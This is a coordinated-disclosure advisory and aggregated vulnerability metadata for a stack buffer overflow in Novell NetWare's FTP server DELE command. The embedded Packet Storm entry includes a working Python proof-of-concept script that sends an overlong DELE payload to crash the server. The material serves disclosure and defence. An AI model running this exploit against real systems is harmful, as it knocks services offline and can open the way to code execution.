ZDI-11-106: Novell Netware NWFTPD.NLM DELE Remote Code Execution Vulnerability
http://www.zerodayinitiative.com/advisories/ZDI-11-106
March 18, 2011
-- CVE ID:
CVE-2010-4228
-- CVSS:
9, (AV:N/AC:L/Au:S/C:C/I:C/A:C)
-- Affected Vendors:
Novell
-- Affected Products:
Novell Netware
-- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability by Digital Vaccine protection filter ID 10659.
For further product information on the TippingPoint IPS, visit:
http://www.tippingpoint.com
-- Vulnerability Details:
This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of Novell Netware. Authentication is required
to exploit this vulnerability.
The flaw exists within NWFTPD.NLM. When handling the argument provided
to the DELE command the application copies user supplied data to a fixed
length stack buffer. A remote attacker can exploit this vulnerability to
execute arbitrary code under the context of the super user.
-- Vendor Response:
Novell has issued an update to correct this vulnerability. More
details can be found at:
http://download.novell.com/Download?buildid=Ax6AbxwGLTs~
-- Disclosure Timeline:
2010-09-22 - Vulnerability reported to vendor
2011-03-18 - Coordinated public release of advisory
-- Credit:
This vulnerability was discovered by:
* Francis Provencher for Protek Research Lab's
-- About the Zero Day Initiative (ZDI):
Established by TippingPoint, The Zero Day Initiative (ZDI) represents
a best-of-breed model for rewarding security researchers for responsibly
disclosing discovered vulnerabilities.
Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:
http://www.zerodayinitiative.com
The ZDI is unique in how the acquired vulnerability information is
used. TippingPoint does not re-sell the vulnerability details or any
exploit code. Instead, upon notifying the affected product vendor,
TippingPoint provides its customers with zero day protection through
its intrusion prevention technology. Explicit details regarding the
specifics of the vulnerability are not exposed to any parties until
an official vendor patch is publicly available. Furthermore, with the
altruistic aim of helping to secure a broader user base, TippingPoint
provides this vulnerability information confidentially to security
vendors (including competitors) who have a vulnerability protection or
mitigation product.
Our vulnerability disclosure policy is available online at:
http://www.zerodayinitiative.com/advisories/disclosure_policy/
Follow the ZDI on Twitter:
http://twitter.com/thezdi
{"id": "SECURITYVULNS:DOC:25980", "bulletinFamily": "software", "title": "ZDI-11-106: Novell Netware NWFTPD.NLM DELE Remote Code Execution Vulnerability", "description": "ZDI-11-106: Novell Netware NWFTPD.NLM DELE Remote Code Execution Vulnerability\r\n\r\nhttp://www.zerodayinitiative.com/advisories/ZDI-11-106\r\n\r\nMarch 18, 2011\r\n\r\n-- CVE ID:\r\nCVE-2010-4228\r\n\r\n-- CVSS:\r\n9, (AV:N/AC:L/Au:S/C:C/I:C/A:C)\r\n\r\n-- Affected Vendors:\r\nNovell\r\n\r\n-- Affected Products:\r\nNovell Netware\r\n\r\n-- TippingPoint(TM) IPS Customer Protection:\r\nTippingPoint IPS customers have been protected against this\r\nvulnerability by Digital Vaccine protection filter ID 10659. \r\nFor further product information on the TippingPoint IPS, visit:\r\n\r\n http://www.tippingpoint.com\r\n\r\n-- Vulnerability Details:\r\nThis vulnerability allows remote attackers to execute arbitrary code on\r\nvulnerable installations of Novell Netware. Authentication is required\r\nto exploit this vulnerability.\r\n\r\nThe flaw exists within NWFTPD.NLM. When handling the argument provided\r\nto the DELE command the application copies user supplied data to a fixed\r\nlength stack buffer. A remote attacker can exploit this vulnerability to\r\nexecute arbitrary code under the context of the super user.\r\n\r\n-- Vendor Response:\r\nNovell has issued an update to correct this vulnerability. More\r\ndetails can be found at:\r\n\r\nhttp://download.novell.com/Download?buildid=Ax6AbxwGLTs~\r\n\r\n-- Disclosure Timeline:\r\n2010-09-22 - Vulnerability reported to vendor\r\n2011-03-18 - Coordinated public release of advisory\r\n\r\n-- Credit:\r\nThis vulnerability was discovered by:\r\n * Francis Provencher for Protek Research Lab's\r\n\r\n-- About the Zero Day Initiative (ZDI):\r\nEstablished by TippingPoint, The Zero Day Initiative (ZDI) represents \r\na best-of-breed model for rewarding security researchers for responsibly\r\ndisclosing discovered vulnerabilities.\r\n\r\nResearchers interested in getting paid for their security research\r\nthrough the ZDI can find more information and sign-up at:\r\n\r\n http://www.zerodayinitiative.com\r\n\r\nThe ZDI is unique in how the acquired vulnerability information is\r\nused. TippingPoint does not re-sell the vulnerability details or any\r\nexploit code. Instead, upon notifying the affected product vendor,\r\nTippingPoint provides its customers with zero day protection through\r\nits intrusion prevention technology. Explicit details regarding the\r\nspecifics of the vulnerability are not exposed to any parties until\r\nan official vendor patch is publicly available. Furthermore, with the\r\naltruistic aim of helping to secure a broader user base, TippingPoint\r\nprovides this vulnerability information confidentially to security\r\nvendors (including competitors) who have a vulnerability protection or\r\nmitigation product.\r\n\r\nOur vulnerability disclosure policy is available online at:\r\n\r\n http://www.zerodayinitiative.com/advisories/disclosure_policy/\r\n\r\nFollow the ZDI on Twitter:\r\n\r\n http://twitter.com/thezdi", "published": "2011-03-23T00:00:00", "modified": "2011-03-23T00:00:00", "cvss": {"score": 9.0, "vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:25980", "reporter": "Securityvulns", "references": [], "cvelist": ["CVE-2010-4228"], "type": "securityvulns", "lastseen": "2018-08-31T11:10:39", "edition": 1, "viewCount": 16, "enchantments": {"score": {"value": 1.1, "vector": "NONE"}, "dependencies": {}, "backreferences": {"references": [{"type": "checkpoint_advisories", "idList": ["CPAI-2013-2977"]}, {"type": "cve", "idList": ["CVE-2010-4228"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:10727"]}, {"type": "zdi", "idList": ["ZDI-11-106"]}]}, "exploitation": null, "vulnersScore": 1.1}, "affectedSoftware": [], "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645275264, "score": 1659803227}, "_internal": {"score_hash": "f6a07539c7a27fdf1d41e3209be23380"}}
{"checkpoint_advisories": [{"lastseen": "2022-08-02T18:41:16", "description": "A code execution vulnerability exists in Novell Netware. The vulnerability is due to a stack buffer overflow in NWFTPD.NLM when processing DELE FTP requests. Remote authenticated attackers can exploit this vulnerability by sending maliciously crafted commands to the affected server. In attack scenarios where code execution is successful the behaviour of the affected server depends entirely on the logic of the injected code, which will be executed within the security context of the affected service. In situations where code execution is not successful the affected service may terminate abnormally, causing a denial of service condition.", "cvss3": {}, "published": "2013-10-07T00:00:00", "type": "checkpoint_advisories", "title": "Novell Netware FTP Server DELE Command Stack Buffer Overflow (CVE-2010-4228)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2010-4228"], "modified": "2013-10-13T00:00:00", "id": "CPAI-2013-2977", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "packetstorm": [{"lastseen": "2016-12-05T22:21:31", "description": "", "cvss3": {}, "published": "2011-03-22T00:00:00", "type": "packetstorm", "title": "Novell Netware 6.5 SP8 Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2010-4228"], "modified": "2011-03-22T00:00:00", "id": "PACKETSTORM:99574", "href": "https://packetstormsecurity.com/files/99574/Novell-Netware-6.5-SP8-Remote-Code-Execution.html", "sourceData": "`##################################################################################### \n \nApplication: Novell Netware NWFTPD.NLM DELE Remote Code Execution Vulnerability \n \nPlatforms: Novell Netware 6.5 SP8 \n \nExploitation: Remote code execution \n \nCVE Number: CVE-2010-4228 \n \nNovell TID: 5089510 \n \nZDI: ZDI-11-106 \n \n{PRL}: 2011-05 \n \nAuthor: Francis Provencher (Protek Research Lab's) \n \nWebsite: http://www.protekresearchlab.com/ \n \nTwitter: @ProtekResearch \n \n \n##################################################################################### \n \n1) Introduction \n2) Timeline \n3) Technical details \n4) PoC \n \n \n##################################################################################### \n \n=============== \n1) Introduction \n=============== \n \nNovell, Inc. is a global software and services company based in Waltham, Massachusetts. \nThe company specializes in enterprise operating systems, such as SUSE Linux Enterprise \nand Novell NetWare; identity, security, and systems management solutions; and \ncollaboration solutions, such as Novell Groupwise and Novell Pulse. \n \nNovell was instrumental in making the Utah Valley a focus for technology and software \ndevelopment. Novell technology contributed to the emergence of local area networks, \nwhich displaced the dominant mainframe computing model and changed computing worldwide. \nToday, a primary focus of the company is on developing open source software for \nenterprise clients. \n \n(http://en.wikipedia.org/wiki/Novell) \n \n##################################################################################### \n \n============================ \n2) Timeline \n============================ \n \n2010-09-22 - Vulnerability reported to vendor \n2011-03-18 - Coordinated public release of advisory \n \n##################################################################################### \n \n============================ \n3) Technical details \n============================ \n \nThis vulnerability allows remote attackers to execute arbitrary code on vulnerable \ninstallations of Novell Netware. Authentication is required to exploit this vulnerability. \nThe flaw exists within NWFTPD.NLM. When handling the argument provided to the DELE command \nthe application copies user supplied data to a fixed length stack buffer. \nA remote attacker can exploit this vulnerability to execute arbitrary code under the \ncontext of the super user. \n \n##################################################################################### \n \n=========== \n4) The Code \n=========== \n \n \n \n#!/usr/bin/python \n \nimport socket, sys \n \n# Source: \n# http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=25&Itemid=25 \n \nhost = (sys.argv[1]) \ndata = \"\\x44\\x45\\x4c\\x45\\x20\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x45\\x45\\x45\\x45\\x45\\x45\\x46\\x46\\x46\\x46\\x47\\x47\\x47\\x47\\x48\\x48\\x44\\x43\\x42\\x41\\x0d\\x0a\" \n \n \ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM) \n \ntry: \ns.connect((host, 21)) \nd=s.recv(1024) \nprint (d) \ns.send(\"USER toto\\r\\n\") #anonymous login so anything goes \nd=s.recv(1024) \nprint (d) \ns.send(\"PASS toto\\r\\n\") \nd=s.recv(1024) \nprint (d) \ns.send(data) \nd=s.recv(1024) \nprint (d) \ns.close() \n \ntry: \ns.connect((host,21)) \nexcept: \nprint (\"\\r\\n[i] Beep Beep, take a look to your Abend log file.\") \nexcept: \nprint (\"[i] Error\") \n \n \n \n \n##################################################################################### \n \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/99574/PRL-2011-05.txt", "cvss": {"score": 9.0, "vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "zdi": [{"lastseen": "2022-01-31T20:59:24", "description": "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Novell Netware. Authentication is required to exploit this vulnerability. The flaw exists within NWFTPD.NLM. When handling the argument provided to the DELE command the application copies user supplied data to a fixed length stack buffer. A remote attacker can exploit this vulnerability to execute arbitrary code under the context of the super user.", "cvss3": {}, "published": "2011-03-18T00:00:00", "type": "zdi", "title": "Novell Netware NWFTPD.NLM DELE Remote Code Execution Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2010-4228"], "modified": "2011-03-18T00:00:00", "id": "ZDI-11-106", "href": "https://www.zerodayinitiative.com/advisories/ZDI-11-106/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "securityvulns": [{"lastseen": "2021-06-08T19:07:20", "description": "rmdir/mkdir/dele commands buffer overflow.", "edition": 2, "cvss3": {}, "published": "2011-03-23T00:00:00", "title": "Novell Netware FTP server buffer overflow", "type": "securityvulns", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2010-0625", "CVE-2010-4228"], "modified": "2011-03-23T00:00:00", "id": "SECURITYVULNS:VULN:10727", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:10727", "cvss": {"score": 9.0, "vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "cve": [{"lastseen": "2022-03-23T12:44:38", "description": "Stack-based buffer overflow in NWFTPD.NLM before 5.10.02 in the FTP server in Novell NetWare allows remote authenticated users to execute arbitrary code or cause a denial of service (abend) via a long DELE command, a different vulnerability than CVE-2010-0625.4.", "cvss3": {}, "published": "2011-03-22T17:55:00", "type": "cve", "title": "CVE-2010-4228", "cwe": ["CWE-119"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2010-0625", "CVE-2010-4228"], "modified": "2017-08-17T01:33:00", "cpe": ["cpe:/o:novell:netware:6.5", "cpe:/o:novell:netware:6.0", "cpe:/o:novell:netware:5.1"], "id": "CVE-2010-4228", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-4228", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:o:novell:netware:6.5:*:*:*:*:*:*:*", "cpe:2.3:o:novell:netware:6.0:*:*:*:*:*:*:*", "cpe:2.3:o:novell:netware:5.1:*:*:*:*:*:*:*"]}]}